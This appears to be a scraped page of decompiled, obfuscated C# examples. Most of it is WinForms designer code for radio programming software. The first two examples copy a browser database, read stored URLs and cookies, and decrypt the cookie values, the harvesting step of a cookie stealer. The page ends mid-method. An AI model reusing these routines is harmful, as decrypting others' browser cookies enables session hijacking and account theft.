예제 #1
0
    // Token: 0x060001ED RID: 493 RVA: 0x0000FC9C File Offset: 0x0000DE9C
    private static List <Class24> smethod_2(string string_0)
    {
        List <Class24> result;

        try
        {
            string text = Dirs.WorkDir + "test.fv";
            if (File.Exists(text))
            {
                File.Delete(text);
            }
            File.Copy(string_0, text, true);
            Class12        @class = new Class12(text);
            List <Class24> list   = new List <Class24>();
            @class.method_4("urls");
            for (int i = 0; i < @class.method_1(); i++)
            {
                try
                {
                    string a = string.Empty;
                    try
                    {
                        a = @class.method_0(i, 5);
                    }
                    catch
                    {
                    }
                    if (a != "")
                    {
                        List <Class24> list2  = list;
                        Class24        class2 = new Class24();
                        class2.method_1(@class.method_0(i, 1));
                        class2.method_3(@class.method_0(i, 2));
                        list2.Add(class2);
                    }
                }
                catch
                {
                }
            }
            File.Delete(text);
            result = list;
        }
        catch
        {
            result = null;
        }
        return(result);
    }
예제 #2
0
    // Token: 0x060001CD RID: 461 RVA: 0x0000EA64 File Offset: 0x0000CC64
    private static List <Class21> smethod_2(string string_0)
    {
        List <Class21> result;

        if (!File.Exists(string_0))
        {
            result = null;
        }
        else
        {
            try
            {
                string text = Dirs.WorkDir + "test.fv";
                if (File.Exists(text))
                {
                    File.Delete(text);
                }
                File.Copy(string_0, text, true);
                Class12        @class = new Class12(text);
                List <Class21> list   = new List <Class21>();
                @class.method_4("cookies");
                for (int i = 0; i < @class.method_1(); i++)
                {
                    try
                    {
                        string text2 = string.Empty;
                        try
                        {
                            text2 = Encoding.UTF8.GetString(Class26.smethod_1(Encoding.Default.GetBytes(@class.method_0(i, 12)), null));
                        }
                        catch
                        {
                        }
                        if (text2 != "")
                        {
                            List <Class21> list2  = list;
                            Class21        class2 = new Class21();
                            class2.method_1(@class.method_0(i, 1));
                            class2.name = @class.method_0(i, 2);
                            class2.path = @class.method_0(i, 4);
                            class2.method_3(@class.method_0(i, 5));
                            class2.method_5(@class.method_0(i, 6));
                            class2.value = text2;
                            list2.Add(class2);
                            Class20.int_0++;
                        }
                    }
                    catch
                    {
                    }
                }
                File.Delete(text);
                result = list;
            }
            catch
            {
                result = null;
            }
        }
        return(result);
    }
예제 #3
0
        private void method_1()
        {
            this.pnlScanBasic     = new Class3();
            this.nudAnalogHang    = new Class12();
            this.nudStartVoteRssi = new Class12();
            this.lblDigitHang     = new Label();
            this.nudFastVoteRssi  = new Class12();
            this.lblAnalogHang    = new Label();
            this.nudVoteHang      = new Class12();
            this.lblVoteHang      = new Label();
            this.lblFastVoteRssi  = new Label();
            this.nudDigitHang     = new Class12();
            this.lblStartVoteRssi = new Label();
            this.chkPriorityAlert = new CheckBox();
            this.pnlScanBasic.SuspendLayout();
            ((ISupportInitialize)this.nudAnalogHang).BeginInit();
            ((ISupportInitialize)this.nudStartVoteRssi).BeginInit();
            ((ISupportInitialize)this.nudFastVoteRssi).BeginInit();
            ((ISupportInitialize)this.nudVoteHang).BeginInit();
            ((ISupportInitialize)this.nudDigitHang).BeginInit();
            base.SuspendLayout();
            this.pnlScanBasic.AutoScroll = true;
            this.pnlScanBasic.AutoSize   = true;
            this.pnlScanBasic.Controls.Add(this.nudAnalogHang);
            this.pnlScanBasic.Controls.Add(this.nudStartVoteRssi);
            this.pnlScanBasic.Controls.Add(this.lblDigitHang);
            this.pnlScanBasic.Controls.Add(this.nudFastVoteRssi);
            this.pnlScanBasic.Controls.Add(this.lblAnalogHang);
            this.pnlScanBasic.Controls.Add(this.nudVoteHang);
            this.pnlScanBasic.Controls.Add(this.lblVoteHang);
            this.pnlScanBasic.Controls.Add(this.lblFastVoteRssi);
            this.pnlScanBasic.Controls.Add(this.nudDigitHang);
            this.pnlScanBasic.Controls.Add(this.lblStartVoteRssi);
            this.pnlScanBasic.Controls.Add(this.chkPriorityAlert);
            this.pnlScanBasic.Dock       = DockStyle.Fill;
            this.pnlScanBasic.Location   = new Point(0, 0);
            this.pnlScanBasic.Name       = "pnlScanBasic";
            this.pnlScanBasic.Size       = new Size(465, 328);
            this.pnlScanBasic.TabIndex   = 0;
            this.nudAnalogHang.Increment = new decimal(new int[4]
            {
                500,
                0,
                0,
                0
            });
            this.nudAnalogHang.method_2(null);
            this.nudAnalogHang.Location = new Point(261, 104);
            this.nudAnalogHang.Maximum  = new decimal(new int[4]
            {
                10000,
                0,
                0,
                0
            });
            this.nudAnalogHang.Minimum = new decimal(new int[4]
            {
                500,
                0,
                0,
                0
            });
            this.nudAnalogHang.Name = "nudAnalogHang";
            this.nudAnalogHang.method_6(null);
            Class12 @class = this.nudAnalogHang;

            int[] bits = new int[4];
            @class.method_4(new decimal(bits));
            this.nudAnalogHang.Size     = new Size(140, 23);
            this.nudAnalogHang.TabIndex = 3;
            this.nudAnalogHang.Value    = new decimal(new int[4]
            {
                500,
                0,
                0,
                0
            });
            this.nudStartVoteRssi.method_2(null);
            this.nudStartVoteRssi.Location = new Point(261, 234);
            this.nudStartVoteRssi.Maximum  = new decimal(new int[4]
            {
                70,
                0,
                0,
                -2147483648
            });
            this.nudStartVoteRssi.Minimum = new decimal(new int[4]
            {
                120,
                0,
                0,
                -2147483648
            });
            this.nudStartVoteRssi.Name = "nudStartVoteRssi";
            this.nudStartVoteRssi.method_6(null);
            Class12 class2 = this.nudStartVoteRssi;

            int[] bits2 = new int[4];
            class2.method_4(new decimal(bits2));
            this.nudStartVoteRssi.Size     = new Size(140, 23);
            this.nudStartVoteRssi.TabIndex = 10;
            this.nudStartVoteRssi.Value    = new decimal(new int[4]
            {
                70,
                0,
                0,
                -2147483648
            });
            this.nudStartVoteRssi.Visible = false;
            this.lblDigitHang.Location    = new Point(50, 72);
            this.lblDigitHang.Name        = "lblDigitHang";
            this.lblDigitHang.Size        = new Size(198, 23);
            this.lblDigitHang.TabIndex    = 0;
            this.lblDigitHang.Text        = "Digital Hang Time [ms]";
            this.lblDigitHang.TextAlign   = ContentAlignment.MiddleRight;
            this.nudFastVoteRssi.method_2(null);
            this.nudFastVoteRssi.Location = new Point(261, 202);
            this.nudFastVoteRssi.Maximum  = new decimal(new int[4]
            {
                70,
                0,
                0,
                -2147483648
            });
            this.nudFastVoteRssi.Minimum = new decimal(new int[4]
            {
                120,
                0,
                0,
                -2147483648
            });
            this.nudFastVoteRssi.Name = "nudFastVoteRssi";
            this.nudFastVoteRssi.method_6(null);
            Class12 class3 = this.nudFastVoteRssi;

            int[] bits3 = new int[4];
            class3.method_4(new decimal(bits3));
            this.nudFastVoteRssi.Size     = new Size(140, 23);
            this.nudFastVoteRssi.TabIndex = 8;
            this.nudFastVoteRssi.Value    = new decimal(new int[4]
            {
                70,
                0,
                0,
                -2147483648
            });
            this.nudFastVoteRssi.Visible   = false;
            this.lblAnalogHang.Location    = new Point(50, 104);
            this.lblAnalogHang.Name        = "lblAnalogHang";
            this.lblAnalogHang.Size        = new Size(198, 23);
            this.lblAnalogHang.TabIndex    = 2;
            this.lblAnalogHang.Text        = "Analog Hang Time [ms]";
            this.lblAnalogHang.TextAlign   = ContentAlignment.MiddleRight;
            this.nudVoteHang.DecimalPlaces = 2;
            this.nudVoteHang.Increment     = new decimal(new int[4]
            {
                25,
                0,
                0,
                131072
            });
            this.nudVoteHang.method_2(null);
            this.nudVoteHang.Location = new Point(261, 169);
            this.nudVoteHang.Maximum  = new decimal(new int[4]
            {
                6375,
                0,
                0,
                131072
            });
            this.nudVoteHang.Name = "nudVoteHang";
            this.nudVoteHang.method_6(null);
            Class12 class4 = this.nudVoteHang;

            int[] bits4 = new int[4];
            class4.method_4(new decimal(bits4));
            this.nudVoteHang.Size          = new Size(140, 23);
            this.nudVoteHang.TabIndex      = 6;
            this.nudVoteHang.Visible       = false;
            this.lblVoteHang.Location      = new Point(50, 169);
            this.lblVoteHang.Name          = "lblVoteHang";
            this.lblVoteHang.Size          = new Size(198, 23);
            this.lblVoteHang.TabIndex      = 5;
            this.lblVoteHang.Text          = "Vote Scan Hang Time [s]";
            this.lblVoteHang.TextAlign     = ContentAlignment.MiddleRight;
            this.lblVoteHang.Visible       = false;
            this.lblFastVoteRssi.Location  = new Point(50, 202);
            this.lblFastVoteRssi.Name      = "lblFastVoteRssi";
            this.lblFastVoteRssi.Size      = new Size(198, 23);
            this.lblFastVoteRssi.TabIndex  = 7;
            this.lblFastVoteRssi.Text      = "Fast Vote Rssi Threshold [dB]";
            this.lblFastVoteRssi.TextAlign = ContentAlignment.MiddleRight;
            this.lblFastVoteRssi.Visible   = false;
            this.nudDigitHang.Increment    = new decimal(new int[4]
            {
                500,
                0,
                0,
                0
            });
            this.nudDigitHang.method_2(null);
            this.nudDigitHang.Location = new Point(261, 72);
            this.nudDigitHang.Maximum  = new decimal(new int[4]
            {
                10000,
                0,
                0,
                0
            });
            this.nudDigitHang.Minimum = new decimal(new int[4]
            {
                500,
                0,
                0,
                0
            });
            this.nudDigitHang.Name = "nudDigitHang";
            this.nudDigitHang.method_6(null);
            Class12 class5 = this.nudDigitHang;

            int[] bits5 = new int[4];
            class5.method_4(new decimal(bits5));
            this.nudDigitHang.Size     = new Size(140, 23);
            this.nudDigitHang.TabIndex = 1;
            this.nudDigitHang.Value    = new decimal(new int[4]
            {
                500,
                0,
                0,
                0
            });
            this.lblStartVoteRssi.Location  = new Point(50, 234);
            this.lblStartVoteRssi.Name      = "lblStartVoteRssi";
            this.lblStartVoteRssi.Size      = new Size(198, 23);
            this.lblStartVoteRssi.TabIndex  = 9;
            this.lblStartVoteRssi.Text      = "Start Vote Rssi Threshold [dB]";
            this.lblStartVoteRssi.TextAlign = ContentAlignment.MiddleRight;
            this.lblStartVoteRssi.Visible   = false;
            this.chkPriorityAlert.AutoSize  = true;
            this.chkPriorityAlert.Location  = new Point(261, 137);
            this.chkPriorityAlert.Name      = "chkPriorityAlert";
            this.chkPriorityAlert.Size      = new Size(103, 20);
            this.chkPriorityAlert.TabIndex  = 4;
            this.chkPriorityAlert.Text      = "Priority Alert";
            this.chkPriorityAlert.UseVisualStyleBackColor = true;
            base.AutoScaleDimensions = new SizeF(7f, 16f);
            base.AutoScaleMode       = AutoScaleMode.Font;
            base.ClientSize          = new Size(465, 328);
            base.Controls.Add(this.pnlScanBasic);
            this.Font         = new Font("Arial", 10f, FontStyle.Regular);
            base.Name         = "ScanBasicForm";
            this.Text         = "Scan";
            base.Load        += this.ScanBasicForm_Load;
            base.FormClosing += this.ScanBasicForm_FormClosing;
            this.pnlScanBasic.ResumeLayout(false);
            this.pnlScanBasic.PerformLayout();
            ((ISupportInitialize)this.nudAnalogHang).EndInit();
            ((ISupportInitialize)this.nudStartVoteRssi).EndInit();
            ((ISupportInitialize)this.nudFastVoteRssi).EndInit();
            ((ISupportInitialize)this.nudVoteHang).EndInit();
            ((ISupportInitialize)this.nudDigitHang).EndInit();
            base.ResumeLayout(false);
            base.PerformLayout();
        }
        private void method_0()
        {
            this.lblAlias           = new Label();
            this.lblAlarmType       = new Label();
            this.lblAlarmMode       = new Label();
            this.lblRevertCh        = new Label();
            this.lblImpoliteRetries = new Label();
            this.lblPoliteRetries   = new Label();
            this.lblCycles          = new Label();
            this.lblTxCycle         = new Label();
            this.lblRxCycle         = new Label();
            this.cmbAlarmMode       = new ComboBox();
            this.pnlEmergency       = new Class3();
            this.cmbRevertCh        = new Class4();
            this.nudPoliteRetries   = new Class12();
            this.nudImpoliteRetries = new Class12();
            this.nudRxCycle         = new Class12();
            this.nudTxCycle         = new Class12();
            this.nudCycles          = new Class12();
            this.cmbAlarmType       = new Class4();
            this.txtName            = new SGTextBox();
            this.pnlEmergency.SuspendLayout();
            ((ISupportInitialize)this.nudPoliteRetries).BeginInit();
            ((ISupportInitialize)this.nudImpoliteRetries).BeginInit();
            ((ISupportInitialize)this.nudRxCycle).BeginInit();
            ((ISupportInitialize)this.nudTxCycle).BeginInit();
            ((ISupportInitialize)this.nudCycles).BeginInit();
            base.SuspendLayout();
            this.lblAlias.Location              = new Point(25, 58);
            this.lblAlias.Name                  = "lblAlias";
            this.lblAlias.Size                  = new Size(131, 24);
            this.lblAlias.TabIndex              = 0;
            this.lblAlias.Text                  = "Name";
            this.lblAlias.TextAlign             = ContentAlignment.MiddleRight;
            this.lblAlarmType.Location          = new Point(25, 88);
            this.lblAlarmType.Name              = "lblAlarmType";
            this.lblAlarmType.Size              = new Size(131, 24);
            this.lblAlarmType.TabIndex          = 2;
            this.lblAlarmType.Text              = "Alarm Type";
            this.lblAlarmType.TextAlign         = ContentAlignment.MiddleRight;
            this.lblAlarmMode.Location          = new Point(25, 118);
            this.lblAlarmMode.Name              = "lblAlarmMode";
            this.lblAlarmMode.Size              = new Size(131, 24);
            this.lblAlarmMode.TabIndex          = 4;
            this.lblAlarmMode.Text              = "Mode";
            this.lblAlarmMode.TextAlign         = ContentAlignment.MiddleRight;
            this.lblRevertCh.Location           = new Point(25, 148);
            this.lblRevertCh.Name               = "lblRevertCh";
            this.lblRevertCh.Size               = new Size(131, 24);
            this.lblRevertCh.TabIndex           = 6;
            this.lblRevertCh.Text               = "Revert Channel";
            this.lblRevertCh.TextAlign          = ContentAlignment.MiddleRight;
            this.lblImpoliteRetries.Location    = new Point(25, 178);
            this.lblImpoliteRetries.Name        = "lblImpoliteRetries";
            this.lblImpoliteRetries.Size        = new Size(131, 24);
            this.lblImpoliteRetries.TabIndex    = 8;
            this.lblImpoliteRetries.Text        = "Impolite Retries";
            this.lblImpoliteRetries.TextAlign   = ContentAlignment.MiddleRight;
            this.lblPoliteRetries.Location      = new Point(25, 208);
            this.lblPoliteRetries.Name          = "lblPoliteRetries";
            this.lblPoliteRetries.Size          = new Size(131, 24);
            this.lblPoliteRetries.TabIndex      = 10;
            this.lblPoliteRetries.Text          = "Polite Retries";
            this.lblPoliteRetries.TextAlign     = ContentAlignment.MiddleRight;
            this.lblCycles.Location             = new Point(25, 238);
            this.lblCycles.Name                 = "lblCycles";
            this.lblCycles.Size                 = new Size(131, 24);
            this.lblCycles.TabIndex             = 12;
            this.lblCycles.Text                 = "Cycles";
            this.lblCycles.TextAlign            = ContentAlignment.MiddleRight;
            this.lblTxCycle.Location            = new Point(25, 268);
            this.lblTxCycle.Name                = "lblTxCycle";
            this.lblTxCycle.Size                = new Size(131, 24);
            this.lblTxCycle.TabIndex            = 14;
            this.lblTxCycle.Text                = "Tx Cycle Time [s]";
            this.lblTxCycle.TextAlign           = ContentAlignment.MiddleRight;
            this.lblRxCycle.Location            = new Point(25, 298);
            this.lblRxCycle.Name                = "lblRxCycle";
            this.lblRxCycle.Size                = new Size(131, 24);
            this.lblRxCycle.TabIndex            = 16;
            this.lblRxCycle.Text                = "Rx Cycle Time [s]";
            this.lblRxCycle.TextAlign           = ContentAlignment.MiddleRight;
            this.cmbAlarmMode.DropDownStyle     = ComboBoxStyle.DropDownList;
            this.cmbAlarmMode.FormattingEnabled = true;
            this.cmbAlarmMode.Items.AddRange(new object[3]
            {
                "紧急报警",
                "紧急报警和呼叫",
                "紧急报警和语音"
            });
            this.cmbAlarmMode.Location              = new Point(167, 118);
            this.cmbAlarmMode.Name                  = "cmbAlarmMode";
            this.cmbAlarmMode.Size                  = new Size(120, 24);
            this.cmbAlarmMode.TabIndex              = 5;
            this.cmbAlarmMode.SelectedIndexChanged += this.cmbAlarmMode_SelectedIndexChanged;
            this.pnlEmergency.AutoScroll            = true;
            this.pnlEmergency.AutoSize              = true;
            this.pnlEmergency.Controls.Add(this.cmbRevertCh);
            this.pnlEmergency.Controls.Add(this.nudPoliteRetries);
            this.pnlEmergency.Controls.Add(this.lblAlias);
            this.pnlEmergency.Controls.Add(this.nudImpoliteRetries);
            this.pnlEmergency.Controls.Add(this.lblAlarmType);
            this.pnlEmergency.Controls.Add(this.nudRxCycle);
            this.pnlEmergency.Controls.Add(this.lblAlarmMode);
            this.pnlEmergency.Controls.Add(this.nudTxCycle);
            this.pnlEmergency.Controls.Add(this.lblRevertCh);
            this.pnlEmergency.Controls.Add(this.nudCycles);
            this.pnlEmergency.Controls.Add(this.lblImpoliteRetries);
            this.pnlEmergency.Controls.Add(this.lblPoliteRetries);
            this.pnlEmergency.Controls.Add(this.cmbAlarmMode);
            this.pnlEmergency.Controls.Add(this.lblCycles);
            this.pnlEmergency.Controls.Add(this.cmbAlarmType);
            this.pnlEmergency.Controls.Add(this.lblTxCycle);
            this.pnlEmergency.Controls.Add(this.txtName);
            this.pnlEmergency.Controls.Add(this.lblRxCycle);
            this.pnlEmergency.Dock             = DockStyle.Fill;
            this.pnlEmergency.Location         = new Point(0, 0);
            this.pnlEmergency.Name             = "pnlEmergency";
            this.pnlEmergency.Size             = new Size(327, 376);
            this.pnlEmergency.TabIndex         = 0;
            this.cmbRevertCh.DropDownStyle     = ComboBoxStyle.DropDownList;
            this.cmbRevertCh.FormattingEnabled = true;
            this.cmbRevertCh.Items.AddRange(new object[6]
            {
                "1",
                "2",
                "3",
                "4",
                "5",
                "6"
            });
            this.cmbRevertCh.Location = new Point(167, 148);
            this.cmbRevertCh.Name     = "cmbRevertCh";
            this.cmbRevertCh.Size     = new Size(120, 24);
            this.cmbRevertCh.TabIndex = 7;
            this.nudPoliteRetries.method_2(null);
            this.nudPoliteRetries.Location = new Point(167, 208);
            this.nudPoliteRetries.Maximum  = new decimal(new int[4]
            {
                15,
                0,
                0,
                0
            });
            this.nudPoliteRetries.Name = "nudPoliteRetries";
            this.nudPoliteRetries.method_6(null);
            Class12 @class = this.nudPoliteRetries;

            int[] bits = new int[4];
            @class.method_4(new decimal(bits));
            this.nudPoliteRetries.Size     = new Size(120, 23);
            this.nudPoliteRetries.TabIndex = 11;
            this.nudImpoliteRetries.method_2(null);
            this.nudImpoliteRetries.Location = new Point(167, 178);
            this.nudImpoliteRetries.Maximum  = new decimal(new int[4]
            {
                15,
                0,
                0,
                0
            });
            this.nudImpoliteRetries.Minimum = new decimal(new int[4]
            {
                1,
                0,
                0,
                0
            });
            this.nudImpoliteRetries.Name = "nudImpoliteRetries";
            this.nudImpoliteRetries.method_6(null);
            Class12 class2 = this.nudImpoliteRetries;

            int[] bits2 = new int[4];
            class2.method_4(new decimal(bits2));
            this.nudImpoliteRetries.Size     = new Size(120, 23);
            this.nudImpoliteRetries.TabIndex = 9;
            this.nudImpoliteRetries.Value    = new decimal(new int[4]
            {
                1,
                0,
                0,
                0
            });
            this.nudRxCycle.Increment = new decimal(new int[4]
            {
                10,
                0,
                0,
                0
            });
            this.nudRxCycle.method_2(null);
            this.nudRxCycle.Location = new Point(167, 298);
            this.nudRxCycle.Maximum  = new decimal(new int[4]
            {
                120,
                0,
                0,
                0
            });
            this.nudRxCycle.Minimum = new decimal(new int[4]
            {
                10,
                0,
                0,
                0
            });
            this.nudRxCycle.Name = "nudRxCycle";
            this.nudRxCycle.method_6(null);
            Class12 class3 = this.nudRxCycle;

            int[] bits3 = new int[4];
            class3.method_4(new decimal(bits3));
            this.nudRxCycle.Size     = new Size(120, 23);
            this.nudRxCycle.TabIndex = 17;
            this.nudRxCycle.Value    = new decimal(new int[4]
            {
                10,
                0,
                0,
                0
            });
            this.nudRxCycle.ValueChanged += this.nudRxCycle_ValueChanged;
            this.nudTxCycle.Increment     = new decimal(new int[4]
            {
                10,
                0,
                0,
                0
            });
            this.nudTxCycle.method_2(null);
            this.nudTxCycle.Location = new Point(167, 268);
            this.nudTxCycle.Maximum  = new decimal(new int[4]
            {
                120,
                0,
                0,
                0
            });
            this.nudTxCycle.Minimum = new decimal(new int[4]
            {
                10,
                0,
                0,
                0
            });
            this.nudTxCycle.Name = "nudTxCycle";
            this.nudTxCycle.method_6(null);
            Class12 class4 = this.nudTxCycle;

            int[] bits4 = new int[4];
            class4.method_4(new decimal(bits4));
            this.nudTxCycle.Size     = new Size(120, 23);
            this.nudTxCycle.TabIndex = 15;
            this.nudTxCycle.Value    = new decimal(new int[4]
            {
                10,
                0,
                0,
                0
            });
            this.nudTxCycle.ValueChanged += this.nudTxCycle_ValueChanged;
            this.nudCycles.method_2(null);
            this.nudCycles.Location = new Point(167, 238);
            this.nudCycles.Maximum  = new decimal(new int[4]
            {
                10,
                0,
                0,
                0
            });
            this.nudCycles.Minimum = new decimal(new int[4]
            {
                1,
                0,
                0,
                0
            });
            this.nudCycles.Name = "nudCycles";
            this.nudCycles.method_6(null);
            Class12 class5 = this.nudCycles;

            int[] bits5 = new int[4];
            class5.method_4(new decimal(bits5));
            this.nudCycles.Size     = new Size(120, 23);
            this.nudCycles.TabIndex = 13;
            this.nudCycles.Value    = new decimal(new int[4]
            {
                10,
                0,
                0,
                0
            });
            this.cmbAlarmType.DropDownStyle     = ComboBoxStyle.DropDownList;
            this.cmbAlarmType.FormattingEnabled = true;
            this.cmbAlarmType.Items.AddRange(new object[4]
            {
                "禁用",
                "常规",
                "静默",
                "静默带语音"
            });
            this.cmbAlarmType.Location              = new Point(167, 88);
            this.cmbAlarmType.Name                  = "cmbAlarmType";
            this.cmbAlarmType.Size                  = new Size(120, 24);
            this.cmbAlarmType.TabIndex              = 3;
            this.cmbAlarmType.SelectedIndexChanged += this.cmbAlarmType_SelectedIndexChanged;
            this.txtName.InputString                = null;
            this.txtName.Location      = new Point(167, 58);
            this.txtName.MaxByteLength = 0;
            this.txtName.MaxLength     = 8;
            this.txtName.Name          = "txtName";
            this.txtName.Size          = new Size(120, 23);
            this.txtName.TabIndex      = 1;
            this.txtName.Leave        += this.txtName_Leave;
            base.AutoScaleDimensions   = new SizeF(7f, 16f);
            base.AutoScaleMode         = AutoScaleMode.Font;
            base.ClientSize            = new Size(327, 376);
            base.Controls.Add(this.pnlEmergency);
            this.Font         = new Font("Arial", 10f, FontStyle.Regular, GraphicsUnit.Point, 0);
            base.Name         = "EmergencyForm";
            this.Text         = "Emergency System";
            base.Load        += this.EmergencyForm_Load;
            base.FormClosing += this.EmergencyForm_FormClosing;
            this.pnlEmergency.ResumeLayout(false);
            this.pnlEmergency.PerformLayout();
            ((ISupportInitialize)this.nudPoliteRetries).EndInit();
            ((ISupportInitialize)this.nudImpoliteRetries).EndInit();
            ((ISupportInitialize)this.nudRxCycle).EndInit();
            ((ISupportInitialize)this.nudTxCycle).EndInit();
            ((ISupportInitialize)this.nudCycles).EndInit();
            base.ResumeLayout(false);
            base.PerformLayout();
        }
예제 #5
0
        private void method_1()
        {
            this.pnlSignalingBasic = new Class3();
            this.nudTxSyncWakeTot  = new Class12();
            this.chkCallAlert      = new CheckBox();
            this.nudAutoResetTimer = new Class12();
            this.chkRadioDisable   = new CheckBox();
            this.nudTxWakeMsgLimit = new Class12();
            this.chkRemoteMonitor  = new CheckBox();
            this.nudRMDuration     = new Class12();
            this.chkEmgRM          = new CheckBox();
            this.lblTxSyncWakeTot  = new Label();
            this.chkSelCall        = new CheckBox();
            this.lblTxWakeMsgLimit = new Label();
            this.cmbSelCallToneId  = new ComboBox();
            this.nudSelCallHang    = new Class12();
            this.lblSelCallToneId  = new Label();
            this.lblRMDuration     = new Label();
            this.lblSelCallHang    = new Label();
            this.lblAutoResetTimer = new Label();
            this.pnlSignalingBasic.SuspendLayout();
            ((ISupportInitialize)this.nudTxSyncWakeTot).BeginInit();
            ((ISupportInitialize)this.nudAutoResetTimer).BeginInit();
            ((ISupportInitialize)this.nudTxWakeMsgLimit).BeginInit();
            ((ISupportInitialize)this.nudRMDuration).BeginInit();
            ((ISupportInitialize)this.nudSelCallHang).BeginInit();
            base.SuspendLayout();
            this.pnlSignalingBasic.AutoScroll = true;
            this.pnlSignalingBasic.AutoSize   = true;
            this.pnlSignalingBasic.Controls.Add(this.nudTxSyncWakeTot);
            this.pnlSignalingBasic.Controls.Add(this.chkCallAlert);
            this.pnlSignalingBasic.Controls.Add(this.nudAutoResetTimer);
            this.pnlSignalingBasic.Controls.Add(this.chkRadioDisable);
            this.pnlSignalingBasic.Controls.Add(this.nudTxWakeMsgLimit);
            this.pnlSignalingBasic.Controls.Add(this.chkRemoteMonitor);
            this.pnlSignalingBasic.Controls.Add(this.nudRMDuration);
            this.pnlSignalingBasic.Controls.Add(this.chkEmgRM);
            this.pnlSignalingBasic.Controls.Add(this.lblTxSyncWakeTot);
            this.pnlSignalingBasic.Controls.Add(this.chkSelCall);
            this.pnlSignalingBasic.Controls.Add(this.lblTxWakeMsgLimit);
            this.pnlSignalingBasic.Controls.Add(this.cmbSelCallToneId);
            this.pnlSignalingBasic.Controls.Add(this.nudSelCallHang);
            this.pnlSignalingBasic.Controls.Add(this.lblSelCallToneId);
            this.pnlSignalingBasic.Controls.Add(this.lblRMDuration);
            this.pnlSignalingBasic.Controls.Add(this.lblSelCallHang);
            this.pnlSignalingBasic.Controls.Add(this.lblAutoResetTimer);
            this.pnlSignalingBasic.Dock     = DockStyle.Fill;
            this.pnlSignalingBasic.Location = new Point(0, 0);
            this.pnlSignalingBasic.Name     = "pnlSignalingBasic";
            this.pnlSignalingBasic.Size     = new Size(521, 397);
            this.pnlSignalingBasic.TabIndex = 0;
            this.nudTxSyncWakeTot.Increment = new decimal(new int[4]
            {
                5,
                0,
                0,
                0
            });
            this.nudTxSyncWakeTot.method_2(null);
            this.nudTxSyncWakeTot.Location = new Point(245, 158);
            this.nudTxSyncWakeTot.Maximum  = new decimal(new int[4]
            {
                375,
                0,
                0,
                0
            });
            this.nudTxSyncWakeTot.Minimum = new decimal(new int[4]
            {
                125,
                0,
                0,
                0
            });
            this.nudTxSyncWakeTot.Name = "nudTxSyncWakeTot";
            this.nudTxSyncWakeTot.method_6(null);
            Class12 @class = this.nudTxSyncWakeTot;

            int[] bits = new int[4];
            @class.method_4(new decimal(bits));
            this.nudTxSyncWakeTot.Size     = new Size(120, 23);
            this.nudTxSyncWakeTot.TabIndex = 8;
            this.nudTxSyncWakeTot.Value    = new decimal(new int[4]
            {
                125,
                0,
                0,
                0
            });
            this.chkCallAlert.AutoSize = true;
            this.chkCallAlert.Location = new Point(245, 188);
            this.chkCallAlert.Name     = "chkCallAlert";
            this.chkCallAlert.Size     = new Size(135, 20);
            this.chkCallAlert.TabIndex = 9;
            this.chkCallAlert.Text     = "Call Alert Encode";
            this.chkCallAlert.UseVisualStyleBackColor = true;
            this.chkCallAlert.Visible = false;
            this.nudAutoResetTimer.method_2(null);
            this.nudAutoResetTimer.Location = new Point(245, 308);
            this.nudAutoResetTimer.Maximum  = new decimal(new int[4]
            {
                255,
                0,
                0,
                0
            });
            this.nudAutoResetTimer.Minimum = new decimal(new int[4]
            {
                1,
                0,
                0,
                0
            });
            this.nudAutoResetTimer.Name = "nudAutoResetTimer";
            this.nudAutoResetTimer.method_6(null);
            Class12 class2 = this.nudAutoResetTimer;

            int[] bits2 = new int[4];
            class2.method_4(new decimal(bits2));
            this.nudAutoResetTimer.Size     = new Size(120, 23);
            this.nudAutoResetTimer.TabIndex = 16;
            this.nudAutoResetTimer.Value    = new decimal(new int[4]
            {
                1,
                0,
                0,
                0
            });
            this.nudAutoResetTimer.Visible = false;
            this.chkRadioDisable.AutoSize  = true;
            this.chkRadioDisable.Location  = new Point(245, 18);
            this.chkRadioDisable.Name      = "chkRadioDisable";
            this.chkRadioDisable.Size      = new Size(168, 20);
            this.chkRadioDisable.TabIndex  = 0;
            this.chkRadioDisable.Text      = "Radio Disable Decode";
            this.chkRadioDisable.UseVisualStyleBackColor = true;
            this.nudTxWakeMsgLimit.method_2(null);
            this.nudTxWakeMsgLimit.Location = new Point(245, 98);
            this.nudTxWakeMsgLimit.Maximum  = new decimal(new int[4]
            {
                4,
                0,
                0,
                0
            });
            this.nudTxWakeMsgLimit.Minimum = new decimal(new int[4]
            {
                1,
                0,
                0,
                0
            });
            this.nudTxWakeMsgLimit.Name = "nudTxWakeMsgLimit";
            this.nudTxWakeMsgLimit.method_6(null);
            Class12 class3 = this.nudTxWakeMsgLimit;

            int[] bits3 = new int[4];
            class3.method_4(new decimal(bits3));
            this.nudTxWakeMsgLimit.Size     = new Size(120, 23);
            this.nudTxWakeMsgLimit.TabIndex = 4;
            this.nudTxWakeMsgLimit.Value    = new decimal(new int[4]
            {
                4,
                0,
                0,
                0
            });
            this.chkRemoteMonitor.AutoSize = true;
            this.chkRemoteMonitor.Location = new Point(245, 42);
            this.chkRemoteMonitor.Name     = "chkRemoteMonitor";
            this.chkRemoteMonitor.Size     = new Size(180, 20);
            this.chkRemoteMonitor.TabIndex = 1;
            this.chkRemoteMonitor.Text     = "Remote Monitor Decode";
            this.chkRemoteMonitor.UseVisualStyleBackColor = true;
            this.nudRMDuration.Increment = new decimal(new int[4]
            {
                10,
                0,
                0,
                0
            });
            this.nudRMDuration.method_2(null);
            this.nudRMDuration.Location = new Point(245, 128);
            this.nudRMDuration.Maximum  = new decimal(new int[4]
            {
                120,
                0,
                0,
                0
            });
            this.nudRMDuration.Minimum = new decimal(new int[4]
            {
                10,
                0,
                0,
                0
            });
            this.nudRMDuration.Name = "nudRMDuration";
            this.nudRMDuration.method_6(null);
            Class12 class4 = this.nudRMDuration;

            int[] bits4 = new int[4];
            class4.method_4(new decimal(bits4));
            this.nudRMDuration.Size     = new Size(120, 23);
            this.nudRMDuration.TabIndex = 6;
            this.nudRMDuration.Value    = new decimal(new int[4]
            {
                10,
                0,
                0,
                0
            });
            this.chkEmgRM.AutoSize = true;
            this.chkEmgRM.Location = new Point(245, 68);
            this.chkEmgRM.Name     = "chkEmgRM";
            this.chkEmgRM.Size     = new Size(255, 20);
            this.chkEmgRM.TabIndex = 2;
            this.chkEmgRM.Text     = "Emergency Romote Monitor Decode";
            this.chkEmgRM.UseVisualStyleBackColor = true;
            this.lblTxSyncWakeTot.Location        = new Point(49, 158);
            this.lblTxSyncWakeTot.Name            = "lblTxSyncWakeTot";
            this.lblTxSyncWakeTot.Size            = new Size(185, 24);
            this.lblTxSyncWakeTot.TabIndex        = 7;
